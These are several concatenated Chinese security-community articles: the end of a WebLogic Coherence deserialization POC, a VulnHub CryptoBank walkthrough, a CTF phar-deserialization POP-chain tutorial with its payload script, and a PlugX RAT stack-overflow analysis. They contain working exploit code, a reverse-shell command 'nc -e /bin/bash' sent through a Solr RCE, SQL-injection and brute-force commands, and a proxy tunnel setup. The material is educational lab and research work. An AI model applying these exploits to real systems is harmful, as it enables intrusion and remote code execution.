这里如果没有获取到远程类对象，将会调用`RemotableSupport#defineClass`方法进行获取，传入的参数是我们自定义的`ClassDefinition`对象
这里将会将`definition.getId().getName()`作为远程类的类名
这里`getId`方法返回的是我们在前面的`ClassDefinition`构造方法中传入的第一个参数，也即是`ClassIdentity`对象
而在`ClassIdentity#getName`方法中
这里的`getPackage`方法返回的是`m_sPackage`属性值，这里的`getSimpleName`方法为：
也即是将`m_sBaseName`属性值+`$`+`m_sVersion`属性值
所以，对于getName返回的值主要就是`m_sPackage/m_sBaseName$m_sVersion`这种格式的值
我们接下来可以看看这些属性值的赋值方法，来到其构造方法中来
这里我们只需要传入一个恶意类作为参数就行了，在其构造方法中将会自动获取包名 / 类名 / 将类的md5摘要值转为16进制串，之后通过重载方法进行赋值操作
分析到这里，我们在创建`ClassDefinition`类对象的第一个参数就大致清楚了
ClassIdentity classIdentity = new ClassIdentity(test1.class);
new ClassDefinition(classIdentity, xxxxx)
这里传入的test1类对象就是我们的恶意类对象
之后我们回到`defineClass`方法中看看第二个参数应该如何构造
最后在调用`defineClass`方法进行类的加载中传入的字节数组是`abClass`变量，该变量的值是通过调用`definition.getBytes`方法获得的
也即是返回的`m_abClass`属性值，也即是在`ClassDefinition`构造方法中传入的第二个参数值设定的
还有我们值得注意的一点是，在`defineClass`方法返回的类对象限定了是一个实现了`Remotable`接口的类，所以，在我们的恶意类中必须要实现这个接口
但是，这里还存在有一个问题，就是在将类名和字节数组传入`defineClass`方法获取类的过程中，传入的类名，并不是我们的恶意类的类名
而是我们在前面提到的`m_sPackage/m_sBaseName$m_sVersion`这种格式的类名，所以如果直接获取我们恶意类的字节码数组是不能够成功达到我们的恶意目的，这里我们需要将我们恶意类的类名改成对应的格式之后进行传入
直接使用`javassist`进行修改
到这里，我们就可以构造出一个关键的POC代码了
ClassIdentity classIdentity = new ClassIdentity(test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(test1.class.getName());
ctClass.replaceClassName(test1.class.getName(), test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
在设置了远程类之后就是通过实例化来触发我们的静态代码块了，没什么好分析的
POC：
直接将上面得到的`RemoteConstructor`类对象进行序列化之后通过T3协议发送即可，当然也可以使用IIOP进行利用
调用栈：
exec:347, Runtime (java.lang)
<clinit>:9, test1$2C7B1D9B24203562AE41FAE89389A68A (pers.weblogic)
allocateInstance:-1, Unsafe (sun.misc)
allocateInstance:439, DirectMethodHandle (java.lang.invoke)
newInvokeSpecial__L:-1, 112302969 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1487470647 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 574568002 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 952486988 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1260, ObjectStreamClass (java.io)
readOrdinaryObject:2078, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
#### 修复
1. 安装补丁将其加入黑名单
2. 限制T3数据包来源
3. 禁用IIOP协议 | 社区文章 |
# CryptoBank靶机渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 靶机下载地址及配置
[cryptobank](https://download.vulnhub.com/cryptobank/CryptoBank.ova)靶机下载地址
cryptobank靶机IP: 192.168.56.132(cryptobank.local)
kali攻击机IP： 192.168.56.116
## 知识点及工具
nmap
sqlmap
dirb
sql注入
代理
apache solr RCE
## 实战渗透
首先第一步对目标靶机IP进行网络端口服务扫描
`nmap -A -p- 192.168.56.132`
扫描结果显示目标端口开放了22（ssh）,80（http）端口，访问80web服务
<http://192.168.56.132>
点击访问其他得链接发现解析不了需添加hosts，界面暂无发现好东西，对目录进行了扫描，可以看见有development(http登录),info.php(phpinfo信息)，trade(登录界面)
接下来就转向了trade登录界面，使用常见用户名admin,root,test尝试登录看看是否为弱口令,登录出错提示信息”Login Failed!
Wrong username or password”
突然有想法尝试万能密码了 binggo 登录成功 ‘or’=’or’
登录成功后我也没发现什么其他的，还是sql注入。用sqlmap跑一跑用户名跟密码吧，后面肯定是要用到账号的。
先抓取登录的包
POST /trade/login_auth.php HTTP/1.1
Host: cryptobank.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cryptobank.local/trade/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close
Cookie: PHPSESSID=po43jcjcj6f8edvsp8qrjvltdj
Upgrade-Insecure-Requests: 1
user=admin&pass=admin&login=Login
接下来sqlmap直接开干
`sqlmap -u "http://cryptobank.local/trade/login_auth.php"
--data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbs`
可以看到靶机存在5张表，数据库类型为mysql
由于靶机标题为cryptobank所有要用到的表肯定也是cryptobank表，爆爆爆
`sqlmap -u "http://cryptobank.local/trade/login_auth.php"
--data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbms=mysql
-D cryptobank --tables`
此用户账号在acccounts里,列出列名
`sqlmap -u "http://cryptobank.local/trade/login_auth.php"
--data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbms=mysql
-D cryptobank -T accounts --dump`
得到了这么多账号密码，随便拿一个可以直接登录
拿着这些密码，ssh爆破一番没有结果，接下来转向了develpoment目录
访问登录提示需要开发人员登录，对这个develpoment目录用这些账号密码也尝试了一次，发现开发人员的账户不在这个里面，须再找
在首页看见了一个团队各员工的职位，看到了development人员
点击邮件按钮，发现一个疑似用户名，猜测julius.b/juliusbook为用户名
然后添加到用户字典中，再次进行爆破
`hydra -L bankuser.txt -P bankpassword.txt -f cryptobank.local http-get
/develpoment`
账号密码登录之后就看到一句话only for develpoment,没其他的了吗，我还不信，好不容易找到账号密码登录
再次对目录扫描一遍，这个扫描需要登录之后有身份验证才能扫描出来，再次进行抓包拿到验证身份，使用dirbuster扫描，添加headers
扫描到了一个tools目录
访问之后，有三个功能(代码执行，系统文件，文件上传)
第一个看见文件上传了 心理有点小激动，点击打开了，我直接上传php，发现被防火墙拦截了，只能上传png文件，尝试绕过了一些方法，但是没有绕过去，TCL
命令执行那个有个登录，就没搞了，点开系统文件的，发现地址栏有file=谁谁谁，想到LFI本地文件包含
<http://cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=file.txt>
/etc/password,/etc/hosts等都被墙了，但是他能读到具体的某些文件/vr/www/cryptobank/info.php
管他墙不墙的了，正好这个phpinfo可以想起LFI-phpinfo利用，<https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf>
[github搜索找到了一个RCE](https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py)
修改一下配置参数,这里记得加上身份认证，我当时没加弄得我作死了很久
$ip = '192.168.56.116';
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1r
LFIREQ="""GET /development/tools/FileInclusion/pages/fetchmeafile.php?file=%s HTTP/1.1r
添加 Authorization: Basic anVsaXVzLmI6d0pXbTRDZ1YyNg==
然后直接利用，可以看到成功反弹shell
读取cryptobank用户下的flag.txt
接下来就是提权为某用户身份了，上传一个LinEnum.sh脚本让他自己跑一下，在开放端口处发现一个地址开放了一个8983的端口，猜测应该是solr
因为不是本地的，看着像是docker的，所以现在给代理出来，这里代理我用了这个[revsocks](https://github.com/kost/revsocks/releases)工具,可以根据自己系统下载对应版本
在kali开启监听
`./revsocks_linux_amd64 -listen :8088 -socks 0.0.0.0:1080 -pass cryptobank`
在靶机执行
`./revsocks_linux_amd64 -connect 192.168.56.116:8088 -pass cryptobank`
代理已经开启，接下来就要在浏览器或者proxychain设置一下才能用哦
火狐浏览器代理配置
proxychain配置
浏览器访问地址，没想到还真是solr <http://172.17.0.1:8983/>
二话没说，去年有个[模板远程代码执行](https://www.exploit-db.com/exploits/47572)，听说win的有个0day哟，嘿嘿
`proxychains python solr_rce.py 172.17.0.1 8983 "nc -e /bin/bash
192.168.56.116 1234"`
已成功利用，输入id查看身份，可sudo哟，还真的免密登录。
最后靶机就完成了，哦耶 | 社区文章 |
写在前面：本文尝试用一道例题教会小白 Phar反序列化 以及关于POP链建立时的思考 （第一次写文章，多多包涵）题目来自 《Bilibili 2022
1024 程序员节》
## 前置知识：
### Phar 反序列化
#### Phar 是什么？
如果读者们接触过java，是知道Jar文件的，一个应用，包括所有的可执行、可访问的文件，都打包进了一个JAR文件里，使得部署过程十分简单。
Phar是类似 jar 的一种打包文件，通过将 **PHP代码文件** 和 **其他资源** （例如图像，样式表等） **打包** 到一个文件中，
**本质上是一个压缩文件**
#### Phar的文件结构
通过对[官网](https://www.php.net/manual/zh/phar.fileformat.phar.php)的查看，可以知道Phar文件的结构如下
> 1.Stub ---> Phar 的文件头
> 2.manifest ---> 压缩文件信息
> 3.contents ---> 压缩文件内容
> 4.signature ---> 签名
其中 Stub 可以理解是 Phar 的文件头标识，Stub 是一个简单的 PHP 文件，它有一定的格式要求：`xxx<?php xxx;
__HALT_COMPILER();?>` xxx 里的内容可以自定义，但是`__HALT_COMPILER()`是必需的，没有这句 php
语句，PHP就无法识别该文件
manifest 里存放的是文件的属性，权限等详细信息，这里面包含的 Meta-data 是我们主要攻击的地方，这里的 Meta-data
是我们用户自定义的（详细见下图）
contents 用于存放压缩的文件内容
signature 签名（Hash值），参数是可选的（修改签名函数），这里我们只需要知道我们最好是使用脚本创建 Phar 文件，创建好之后就不能轻易修改
Phar 文件中的内容了，否则签名与内容对不上。（修改Phar签名的Python脚本与参考链接我放最后）
> PHP_version >=5.3 默认开启支持 Phar 文件，但要创建自己的 Phar 文件的时候，需要进入 php.ini 设置
> `phar.readonly = Off`
> 否则会报错：`Fatal error: Uncaught UnexpectedValueException: creating archive
> "test.phar" disabled by the php.ini setting phar.readonly in`
#### 创建一个简单的 Phar 文件
一个简单的 Phar 文件创建脚本：
<?php
class test{
public $name="qwq";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0); //创建时后缀名必须为phar 上传文件的时候可以修改后缀 bypass
$phartest->startBuffering(); //设置缓冲去，准备 Phar 的写操作
$phartest->setMetadata($a);//将自定义的 Meta-data 存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub
//stub是一个简单的php文件。PHP通过 stub 识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件以及文件的内容
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>
访问 `127.0.0.1/creat_phar.php` ，生成 Phar 文件，查看文件：
可以清晰的看到我们自定义的序列化字符串，那么什么时候这个字符串会被反序列化呢？
#### Phar 反序列化以及可利用函数
PHP 大部分的文件系统函数在通过 `phar://`伪协议解析 phar 文件时，都会将 meta-data 进行反序列化操作，受影响的函数如下：
能够利用的函数 | | |
---|---|---|---
fileatime | filectime | file_exists | file_get_contents
file_put_contents | file | filegroup | fopen
fileinode | filemtime | fileowner | fileperms
is_dir | is_executable | is_file | is_link
is_readable | is_writable | is_writeable | parse_ini_file
copy | unlink | stat | readfile
所以当这些函数接收到`phar://`伪协议处理到 phar 文件的时候，Meta-data 里的序列化字符串就会被反序列化，实现‘不使用’
unserialize() 函数实现反序列化操作
### POP链
#### POP构造时常使用的 PHP 魔法函数
__destruct( 类执行完毕--PHP文件结束--以后调用，其最主要的作用是拿来做垃圾回收机制。)
__construct( 类一执行就开始调用，其作用是拿来初始化一些值。)
__toString( 在对象当做 字符串 的时候会被调用。)
__wakeup( 该魔术方法在 反序列化 的时候自动调用，为反序列化生成的对象做一些初始化操作 )
__sleep( 在对象被序列化的过程中自动调用。sleep要加数组 )
__invoke( 当尝试以调用函数的方式调用一个对象时，方法会被自动调用 )
__get( 当访问类中的私有属性或者是不存在的属性，触发\_\_get魔术方法 )
__set( 在对象访问私有成员的时候自动被调用，达到了给你看，但是不能给你修改的效果！在对象访问一个私有的成员的时候就会自动的调用该魔术方法 )
__call( 当所调用的成员方法不存在（或者没有权限）该类时调用，用于对错误后做一些操作或者提示信息 )
__isset( 方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用！)
__unset( 方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用该魔术方法 )
#### 魔法函数执行顺序：
序列化时：`__construct() __sleep()`
反序列化时：`__wakeup() __destruct()`
## BiliBili 2022 1024程序员节 第二题
前置知识了解的差不多了就该上题了，毕竟这才是主菜。
### 代码分析
直接访问 index.php 没有任何信息，在没有任何信息的情况下，目录扫描就是一个思路，目录扫描之后发现了 upload.php 和
upload.html 两个文件
upload.php 给出源码
<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
if($_SERVER['REQUEST_METHOD']==='POST') {
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;
} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
}
?>
upload.html 就是一个简单的文件上传表单（上传至upload.php）
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
简单分析可知，upload.php 有两个功能，如果我们上传了文件，就对我们上传的文件进行处理，用时间戳修改文件名，并且传入 `./upload`文件夹下
如果我们没有传入文件的话，尝试接收GET参数，有设置GET参数的话，包含一个名为 `5d47c5d8a6299792.php`
的文件，再使用file_exists函数对我们的参数进行处理（我们输入的参数没有经过然后处理）
我们再看看`5d47c5d8a6299792.php`文件，同样也是给出了源码
<?php
// flag in /tmp/flag.php
class Modifier {
public function __invoke(){
include("index.php");
}
}
class Action {
protected $checkAccess;
protected $id;
public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}
if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}
}
class Content {
public $formatters;
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}
public function __wakeup() {
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}
public function reset() {
if ($this->reader !== null) {
$this->reader->close();
}
}
}
highlight_file(__FILE__);
提示 `flag` 在 `/tmp/flag.php`
，然后给出了一些类，仔细观察，发现了`include($this->checkAccess)`，其中这个`$this->checkAccess`没有经过严格的过滤，如果我们设置为`/tmp/flag.php`
完全是可以的，那么加上有前置知识的储备，这时候就出现了一个大致的思路：
* 我们可以构造一个 phar 文件，其中的序列化字符串是我们精心构造的，在我们上传之后，使用GET方法传参让 file_exists() 处理`phar://`伪协议！！找到我们上传的文件，触发反序列化，最终实现目标文件的包含
### POP链构造
所以现在的难点在于我们如何构造这个序列化字符串呢？
有两个下手点
* 第一是我们构造的序列化字符串会被反序列化，所以会触发`__wakeup() __destruct()`魔法函数，发现没有`__destruct()`，只有 Show 类中有 `__wakeup()`，可以正向思维构造POP链
* 第二是可以逆向思维，我们的最终目的是触发 Action 中的`include($this->checkAccess)`，所以我们应该想办法运行 Action 中的 `run()`
* 当前POP链 （`file_exists() 触发 Show::__wakeup() --> ............. --> Action::run()`）
但不管正向思维还是逆向思维，现在都没办法直接找到一条路，所以我们继续看完`5d47c5d8a6299792.php`的源代码，发现了很多有用的信息，有很多POP链中常用的魔法函数，并且类
`Content`有`call_user_func_array()`这样的大杀器
> 也许能使用的魔法函数：`__toString() __wakeup() __call() __invoke()` 以及
> `call_user_func_array()`
所以我们的构造应该使用`call_user_func_array()`为跳板，去运行 Action 中的`run()`
[call_user_func_array()调用类方法](https://www.php.net/manual/zh/function.call-user-func.php)（参考`call_user_func()`可以发现以下）
> 支持这样的调用：`call_user_func_array(array($a,'func'),"a")`其中 `$a` 是一个对象，调用了 a
> 对象的类中的`func()`函数，且参数是`"a"`
知道这一点之后，POP链的最后一条就出来了`call_user_func_array--> Action::run()`
* 当前POP链 （`file_exists() 触发 Show::__wakeup() --> ............. -->Content::__call(){call_user_func_array} --> Action::run()`）
且因为`call_user_func_array()`是`__call()`魔法函数中的一条，由前置知识的储备可知
> `__call( 当所调用的成员方法不存在（或者没有权限）该类时调用，用于对错误后做一些操作或者提示信息 )`
> 例如：
>
>
> <?php
>
> class test{
> public $test;
> public function __call($name,$arguments){
> echo "你调用的函数不存在<br><br>";
> echo "你调用的函数名：";
> var_dump($name);
>
> echo "<br>";
>
> echo "你所使用的参数：";
> var_dump($arguments);
> }
> }
>
> $a = new test();
> $a->null_func("This is arg");
>
> ?>
>
>
> 该 php 的运行结果为
>
>
所以我们应该关注有类似`$this->xxx->xxx()`调用函数的地方，且类 `Content`没有我们尝试调用的函数：
> 为什么是`$this->xxx->xxx()`呢？
> 因为我们需要指定是 Content 类的 `xxx()` 函数，如果`$this->xxx`可控，那么就能使其成为 Content
> 类的对象，然后`$this->xxx->xxx()`就会变成 `Content
> 类对象->xxx()`，这时`xxx()`不存在，php就会去调用`Content::__call()`啦
>
> `Show::reset() { $this->reader->close();}`调用合理，
> `Content`类中没有`close()`的定义，但由于`reset()`不是魔法函数，无法实现自动调用，或者需要通过`call_user_func_array()`调用，形成”悖论“
>
> `Show::__toString() { $this->str->reset();}`函数合理，
> `Content`类中没有`reset()`的定义，且处于魔法函数中，情况较为理想，作为一个方案
>
> 无其他类似`$this->xxx->xxx()`的函数调用
那么我们到目前位置只能调用的就是`Show::__toString()`了，那么`__toString()`怎么调用呢？由前置知识的储备可知：
> `__toString( 在！对象当做字符串 ！的时候会被调用。)`
> 重点是当对象被当作字符串解析的时候！！！`__toString()`就会进行相关的处理
> 例如
>
>
> <?php
>
> class test{
> public $test;
> public function __toString(){
> echo "我是对象喔，我不是字符串，不过也行";
> return "哎哟你干嘛";
> }
> }
>
> $a = new test();
>
>
> echo "即将进行字符串拼接<br>";
> $b = "我负责组成头部 ".$a." 我负责组成扁桃体";
> echo "<br>";
> var_dump($b);
>
> ?>
>
> 运行结果是：
>
>
所以我们要找到有 `$this->xxx`被当成字符串处理的地方，这时候 `$this->xxx`如果可控，我们设置其为 Show
类的对象，即可成功调用`Show::__toString()`
回头看看代码，`Action::run()`中有很多，但是我们的目的就是调用`Action::run()`，如果能提前调用`Action::run()`，那我们就不需要构造POP链了
找到可以利用的点，只要我们设置`$this->source`为 Show
类的对象，就能调用`Show::__toString()`，而刚好`preg_match()`处在`Show::__wake()`即反序列化的入口，由此，一个完整的POP链就出现了
* POP链：（`file_exists() 触发 Show::__wakeup(){ preg_match() } --> Show::__toString(){ $this->str->reset(); } -->Content::__call(){ call_user_func_array } --> Action::run()`）
>
> 其实在自己分析构造POP链时，没有那么顺利，应该多从逆向思维和正向思维，再结合知识储备多思考，灵活地利用看似无害的东西构造出精美的武器，是黑客的艺术（扯远了
### payload构造
此时我们应该构造的类结构，对应 POP 链也就呼之欲出了：
> 最外层是 Show 类对象
> 作用是使 `file_exists()`能触发`Show::__wakeup()`
>
> 最外层 Show 类对象里的 `$source`，应该是另一个 Show 类对象
> 作用是当最外层`Show::__wakeup()`调用时，执行到`preg_match()`时，将`$this->source`，即最外层的 Show
> 类对象的`$source`当成字符串处理时（此时`$source`是 Show 对象）触发了`$source`（第二层 Show
> 对象）的`Show::__toString()`
>
> 第二层Show对象里的`$str`，应该是一个 Content 类对象
> 作用是当第二次的`Show::__toString()`调用时，执行`$this->str->reset();`此时`$this->str`是
> Content 对象，即调用 `Content::reset()`，函数不存在，触发`Content::__call()`
此时POP到了`Content::__call()`，且此时`Content::__call()`的参数`$name,$arguments`是确定的
因为是通过`$this->str->reset();`来调用的`Content::__call()`，所以此时的`$name="reset"`，而`$arguments=''`（因为`$this->str->reset();`时没有参数）
图片
接下来就是`call_user_func_array($this->getFormatter($name),
$arguments);`了，其中`$name`会被`$this->getFormatter()`处理（即`Content::getFormatter()`）又因为`call_user_func_array()`只接收`array()`类型数据
所以函数处理之后，我们希望`$this->getFormatter($name)`的返回值是一个`array('Action','run')`或者`array($a,'run')`（$a
是一个Action实例化对象）
但在我们进入`Action::run()`后，还希望控制一些成员的具体值，所以选择`array($a,'run')`这种返回值是可解的
我们再跟进`getFormatter()`can can 如何得到返回值
相较与后一个 return ，前一个 return 简单粗暴，所以我就使用前一个构造了
我们构造的`$this->formatters`应该是一个 array，里面含有一个键名 "reset"
，且`$this->formatters["reset"]`的值是 `array($a,'run')`，`$a`是一个 Action 类对象
此时 `call_user_func_array($this->getFormatter($name), $arguments);`的最终形态就是
> `call_user_func_array(array($a,'run'), $arguments);` 参数`$arguments`均为空即可
此时就能调用`Action::run()`啦，再设置一下`$a`这个 Action 类的成员值
> $checkAccess =
> 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php';
> $id = '0'; // 强比较和弱比较考点
我们就能文件包含 base64 加密后的 /tmp/flag.php 了
最后贴上我的payload生成脚本：（里面有些本地调试的代码，请忽略哈哈哈哈哈哈）
<?php
// flag in /tmp/flag.php
use Show as GlobalShow;
class Modifier {
public function __invoke(){
include("index.php");
}
}
class Action {
protected $checkAccess;
protected $id;
public function __construct() {
$this->checkAccess = 'PHP://filter/read=convert.base64-encode/resource=/tmp/flag.php';
$this->id = '0';
}
public function run()
{
if(strpos($this->checkAccess, 'uplod') !== false){
echo "error path";
exit();
}
if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
echo 'id = 0';
echo "<br>";
if ($this->checkAccess) {
include($this->checkAccess);#----------------------- }
break;
case 1:
echo 'id = 1';
echo "<br>";
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
echo "default";
echo "<br>";
break;
}
}
}
}
class Content {
public $formatters;
public function __construct() {
$a = new Action();
echo 'formatters = ';
var_dump($this->formatters);
$this->formatters = array("reset"=>array($a,"run"));
#$this->formatters = array("reset"=>array("","__invoke"));
#$this->providers = new Action();
}
public function getFormatter($formatter)
{
echo "<br>";
echo 'getFormatter';
echo "<br>";
echo "\$formatter = ";
var_dump($formatter);
echo "<br>";
var_dump($this->formatters);
echo "<br>";
echo "\$this->formatters[$formatter] = ";
var_dump($this->formatters[$formatter]);
if (isset($this->formatters[$formatter])) {
echo "<br>";
echo "set";
echo "<br>";
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($name, $arguments)#调用Conetent类中不存在的函数
{
#echo "Thrid<br>";
#echo "<br>";
echo "\$name = ";
var_dump($name);
echo "<br>";
var_dump($this->getFormatter($name));
echo "<br>";
echo "retrun ^ ";
echo "<br>";
echo "<br>";
/* echo "\$arguments = ";
var_dump($arguments); */
echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";
return call_user_func_array($this->getFormatter($name), $arguments);#调用Action run
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
$this->str = new Content();
#echo 'Welcome to '.$this->source."<br>";#触发 _toString 但是只有在new时触发 基本没用
}
public function __toString() {
#echo 'Second<br>';
$this->str->reset();
}
public function __wakeup() {
echo "<br>";
echo "<br>";
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {#触发 _toString
throw new Exception('invalid protocol found in '.__CLASS__);#抛出异常，显示当前的类名
}
}
public/* static */ function reset() {
echo '2';
if ($this->reader !== null) {
$this->reader->close();
}
}
}
#$c = new Action();
#var_dump(method_exists('Show','__wakeup'));
#call_user_func_array(array('Modifier','__invoke'),array());
#echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";
$a = new Show();
$b = new Show();
$b->source = $a;
#var_dump($b);
/* echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";
echo serialize($b); */
$phar=new phar('1234.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
#$obj=$b;
echo serialize($b);
$phar->setMetadata($b);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","yoxi");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
#echo "serialize(\$b) = ";
#unserialize(serialize($b));
然后我们只需要拿着我们生成的 1234.phar 修改后缀为 .jpg 然后上传，得到文件路径后再对 upload.php GET传参：
`?c=phar://upload/xxx.jpg/flag.txt`即可拿到flag
## 总结
本次题目是本人第一次独立做出的一道还算有点难度的Web题，算是对最近一段时间的学习有了一个自我认可，写这篇文章也是再重新梳理思路的同时，给需要的读者一些帮助
* 没有白费的努力，只有虚度的光阴
## 参考链接：
<https://www.php.net/manual/zh/phar.fileformat.ingredients.php>
<https://paper.seebug.org/680/> | 社区文章 |
# 【技术分享】Stack overflow in PlugX RAT
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **Chu@0KEE
Team**](http://bobao.360.cn/member/contribute?uid=2844380580)
**
**
**前言**
Black Hat USA 2017上@professor__plum分享了几款常见 **RAT** （ **Xtreme** 、 **PlugX** 、
**Gh0st** ）中存在的漏洞，利用这些漏洞可以反向攻击C&C Server，这里以PlugX RAT为例进行漏洞分析。
**
**
**1.漏洞分析**
**1.1 Delphi**
PlugX RAT由 **Delphi**
语言开发，直接使用IDA对其分析会因缺少符号表导致系统库函数无法识别，分析起来非常不方便。可以使用IDR加载bin文件，导出IDC脚本供IDA使用，如下：
逆向Delphi程序时还需要注意的一点就是传参方式，Delphi中默认的传参方式是前3个参数通过寄存器 **eax** 、 **edx** 、
**ecx** 传递，其余参数通过堆栈传递，如上图中ShowMessage、MoveMemory的调用。
**1.2 漏洞分析**
漏洞出现在Server与Client的通信中：
Server在接收到客户端的请求包后首先对包头进行解析，而后将整个包完整地拷贝到栈上（0x00549D51
MoveMemory），典型的栈溢出。有趣的是，在内存拷贝操作的之后开发者再一次对包进行解析（0x00549D93,
DecodePacket_），在其中判断包的大小并且如果数据过大会进行弹框提示：
但此时上层栈帧已被破坏，再做检查为时已晚。
**
**
**2.漏洞利用**
**2.1 加解密函数**
目前市面的PlugX RAT大概有3个版本，对此漏洞而言区别主要在于它们对流量加解密方式的不同：
以Type I为例可编写如下加解密函数：
**2.2 保护机制的绕过**
No GS、NO
PIE，只需要考虑DEP，而程序中存在丰富的Gadgets，例如CreateProcess、WinExec、VirtualAlloc、VirtualProtect等，这使得通过ROP绕过DEP变得十分简单。
基于VirtualProtect可编写如下ROP：
**2.3 利用**
样本、IDB及完整的exploit可从这里下载：<http://git.sh3ll.me/chu/bh17-plugx-stack-overflow>
**
**
**3.参考**
[https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf)
[https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf](https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf) | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/2F1-35HIk126crowAh9LLw> **
### 一、前言
